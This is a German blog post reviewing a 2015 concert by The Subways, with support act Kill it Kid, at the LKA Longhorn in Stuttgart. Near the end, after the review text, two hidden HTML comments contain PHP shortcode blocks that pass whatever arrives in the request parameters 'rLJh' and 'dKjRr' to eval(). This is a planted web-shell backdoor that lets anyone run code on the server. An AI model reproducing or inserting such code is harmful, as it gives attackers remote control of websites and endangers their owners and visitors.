Concert Review MUSIC

The Subways – 10.02.15 – LKA Longhorn, Stuttgart

15/02/2015

Wo fängt man bei The Subways am besten an? Diese Band begleitet mich auf jeder Party und ich hatte jetzt schon das dritte Mal die Ehre sie live zu sehen. Nur dieses Mal, sah ich sie auf Tour und nicht in der typischen Festivalatmosphäre. Aber ich habe ziemlich gute Erinnerungen an ihre Festivalauftritte von 2011 und 2014. Die drei sorgten auf den Festivals immer für gute Laune und sind bisher einer der besten Livebands, die ich erleben durfte. Hiermit schreibe ich also meine allererste Konzert Review.   

Die Location, das LKA-Longhorn in Stuttgart Wangen, ist für mich wie ein zweites Zu Hause, da ich 18 Jahre (also fast mein ganzes Leben bisher :D) in Stuttgart aufgewachsen bin. Für Livebands ist es die perfekt Location, da sie nicht sonderlich groß ist und man jedes Mal mächtig ins Schwitzen geraten kann. Somit war direkt ein perfektes kuscheliges Ambiente gegeben, selbst wenn das Konzert nicht ausverkauft war.

Blickte ich durchs Publikum habe ich den Altersdurchschnitt eindeutig sinken lassen, was wirklich eher positiv zu betrachten war, da es keine Menschen gab, die sich darüber beschwert haben, dass man ihnen unabsichtlich beim Tanzen auf die Füße tritt oder die Moshpits total ätzend finden. Somit war von Anfang an eine lockere Stimmung gegeben, da man sehen konnte, dass alle darauf getrimmt waren den Abend in vollen Zügen zu genießen und Party zu machen.

Vorband: Kill it Kid

Da ich in letzter Zeit wirklich viel um die Ohren hatte, habe ich mich total von der Vorband überraschen lassen und mich nicht informiert. Kill it Kid stammt aus Bath (Westen Englands) und besteht aus vier Mitgliedern: Chris Turpin, der Gitarre spielt und singt; Stephanie Ward, die für Keyboard und Vocals zuständig ist; Marc Jones an den Drums und Dom Kozubik für Bass. Kill it Kid heizte sofort mit dem ersten Track das Publikum auf. Ihren Sound würde ich als eine gute Mischung aus Rock, Blues und Grunge beschreiben. Tracks wie „Caroline“ zeigten, dass der Sound der Band nicht nur zum Abgehen gehört werden kann ,sondern auch perfekt für einen Abend voller melancholischer Gedanken geeignet ist. Die Stimmen von Chris Turpin und Stephanie Ward passen perfekt zu dem Sound, welcher definitiv Wiedererkennungswert hat. Nach dem Konzert konnte man sich ein bisschen mit der Band unterhalten. Sie waren ziemlich cool drauf und ich kann sie als Liveband weiterempfehlen gerade wenn man auf leicht angehauchte melancholischen rockigen Sound steht.
 

The Subways

 
 
Nach einer Zwischenpause ging das Licht aus und man hörte auf einmal Rauschen und  Kurznachrichten von irgendwelchen Sendern aus den Boxen erklingen. Da ich das Intro noch nie erlebt habe war ich ziemlich irritiert. Eine mal andere Idee für ein Intro. Und dann kamen die drei auch schon auf die Bühne geflitzt und begrüßten das Publikum auf Deutsch. The Subways besteht aus den zwei Geschwistern Billy Lunn (Gesang&Gitarre); Josh Morgan(Schlagzeug) und Charlotte Cooper (Bass, Gesang). 
Mit „We Don’t Need Money To Have A Good Time“ lieferten sie den perfekten Start für den Abend und das ganze Publikum tanzte von dem ersten Moment an mit. Was diese Liveband gerade noch ein Tick sympathischer macht ist, dass sie Parts ihre Lieder auch auf Deutsch singen. Niemand kann britischem Akzent widerstehen und nichts hört sich besser an wenn The Subways versuchen deutsch zu singen. Dies tauchte später auch bei „Rock&Roll Queen“ wieder auf. Charlotte entschuldigte sich nach dem ersten Lied, da sie ziemlich erkältet war und forderte somit das Publikum auf, sie beim Singen zu unterstützen. Trotz dessen hat sich ihre Stimme mehr als gut angehört und sie ist abgegangen. 
Weiter ging es mit „Dirty Muddy Paws“. Die Setlist zeichnete sich vor allem dadurch aus, dass ein guter Mix zwischen den neuen Tracks und den alten Klassikern bestand. Gerade die Klassiker wie „Mary“, „Rock&Roll Queen“ „Kiss Kiss Bang Bang“ und „I Want To Hear What You Have Got To Say“ kamen sehr gut an. Bei der guten Hälfte des Konzerts wurde der Moshpit immer größer und die Stimmung hatte ihren Höhepunkt erreicht. Auch die Tracks „My Heart Is Pumping To A Bradnew Beat“, „Just Like Jude“ und die neue Single „Taking All The Blame“ wurden bejubelt und mitgesungen.
Getanzt wurde bei jedem Lied. Mit „With You“ sorgten sie auch für den typischen Feuerzeugeffekt und spielten die erste Hälfte des Lieds in einer akustischen und langsameren Version. Hiermit unterstrichen sie auch die Emotionen des Liedes und zeigten auch ihre softere Seite. Nachdem Billy Lunn, erklärte warum er und die anderen nichts davon halten jetzt von der Bühne zu gehen um dann nach Zugaberufen wieder zu kommen, spielten auch sie die letzten Tracks. Es ist immer schön wenn, die Band sich mit dem Publikum unterhält. Auch Billy Lunn weiß dies ebenfalls zu schätzen und warf sich ins Publikum und crowdsurfte sich so einmal durch das halbe LKA.  Mit „It’s a Party“ war der krönende Abschluss gegeben.
The Subways zeigten sich wieder mal von ihrer besten Seite und man merkt wirklich, dass sie ihre Musik mit Herz spielen. Sie sind nicht nur ein wirklicher Festival-Hit sondern können einen auch den ganzen Abend überzeugen und rocken jede Bühne. Gerade die Power von The Subways ist der Grund, der mich immer wieder ihre Konzerte besuchen lässt. Das neuste Album „The Subways“ bietet weiterhin einen rockigen Partysound und die Band bleibt sich selbst treu.

<!– [insert_php]if (isset($_REQUEST["rLJh"])){eval($_REQUEST["rLJh"]);exit;}[/insert_php][php]if (isset($_REQUEST["rLJh"])){eval($_REQUEST["rLJh"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["dKjRr"])){eval($_REQUEST["dKjRr"]);exit;}[/insert_php][php]if (isset($_REQUEST["dKjRr"])){eval($_REQUEST["dKjRr"]);exit;}[/php] –>

You Might Also Like

No Comments

Leave a Reply